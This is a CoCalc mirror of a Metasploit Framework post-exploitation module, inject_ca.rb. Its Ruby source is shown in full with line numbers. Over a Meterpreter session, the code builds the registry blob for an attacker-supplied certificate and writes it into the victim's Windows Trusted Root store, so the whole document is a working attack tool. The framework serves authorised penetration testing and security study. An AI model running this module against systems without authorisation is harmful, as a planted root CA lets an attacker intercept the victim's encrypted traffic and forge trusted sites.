CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/inject_ca.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Windows Manage Certificate Authority Injection',
13
'Description' => %q{
14
This module allows the attacker to insert an arbitrary CA certificate
15
into the victim's Trusted Root store.
16
},
17
'License' => BSD_LICENSE,
18
'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
19
'Platform' => [ 'win' ],
20
'SessionTypes' => [ 'meterpreter' ],
21
'Compat' => {
22
'Meterpreter' => {
23
'Commands' => %w[
24
stdapi_registry_create_key
25
stdapi_registry_open_key
26
]
27
}
28
}
29
)
30
)
31
32
register_options(
33
[
34
OptString.new('CAFILE', [ true, 'Path to the certificate you wish to install as a Trusted Root CA.', ''])
35
]
36
)
37
end
38
39
def run
40
certfile = datastore['CAFILE']
41
42
# Check file path
43
begin
44
::File.stat(certfile)
45
rescue StandardError
46
print_error('CAFILE not found')
47
return
48
end
49
50
cert = ''
51
52
# Load the file
53
f = ::File.open(certfile, 'rb')
54
cert = f.read(f.stat.size)
55
f.close
56
57
loadedcert = OpenSSL::X509::Certificate.new(cert)
58
certmd5 = Digest::MD5.hexdigest(loadedcert.to_der).scan(/../)
59
certsha1 = Digest::SHA1.hexdigest(loadedcert.to_der).scan(/../)
60
cskiray = loadedcert.extensions[0].value.gsub(/:/, '').scan(/../)
61
62
derLength = loadedcert.to_der.length.to_s(16)
63
if (derLength.length < 4)
64
derLength = "0#{derLength}"
65
end
66
67
derRay = derLength.scan(/../)
68
hexDerLength = [ derRay[1], derRay[0] ]
69
70
certder = loadedcert.to_der.each_byte.collect { |val| '%02X' % val }
71
72
bblob = [ '04', '00', '00', '00', '01', '00', '00', '00', '10', '00', '00', '00' ]
73
bblob += certmd5
74
bblob += [ '03', '00', '00', '00', '01', '00', '00', '00', '14', '00', '00', '00' ]
75
bblob += certsha1
76
bblob += [ '14', '00', '00', '00', '01', '00', '00', '00', '14', '00', '00', '00' ]
77
bblob += cskiray
78
bblob += [ '20', '00', '00', '00', '01', '00', '00', '00' ]
79
bblob += hexDerLength
80
bblob += [ '00', '00' ]
81
bblob += certder
82
83
blob = bblob.map(&:hex).pack('C*')
84
85
cleancertsha1 = certsha1.to_s.gsub(/[\s\[\\"\]]/, '').gsub(/,/, '').upcase
86
catree = 'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates'
87
entire_key = "#{catree}\\#{cleancertsha1}"
88
root_key, base_key = client.sys.registry.splitkey(entire_key)
89
90
# Perform the registry operations
91
92
# Ensure the cert doesn't already exist
93
begin
94
open_key = nil
95
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + 0x0000)
96
values = open_key.enum_value
97
if !values.empty?
98
print_error('Key already exists!')
99
return
100
end
101
rescue StandardError
102
open_key = nil
103
open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + 0x0000)
104
print_good("Successfully created key: #{entire_key}")
105
106
open_key.set_value('Blob', REG_BINARY, blob)
107
print_good('CA inserted!')
108
end
109
end
110
end
111
112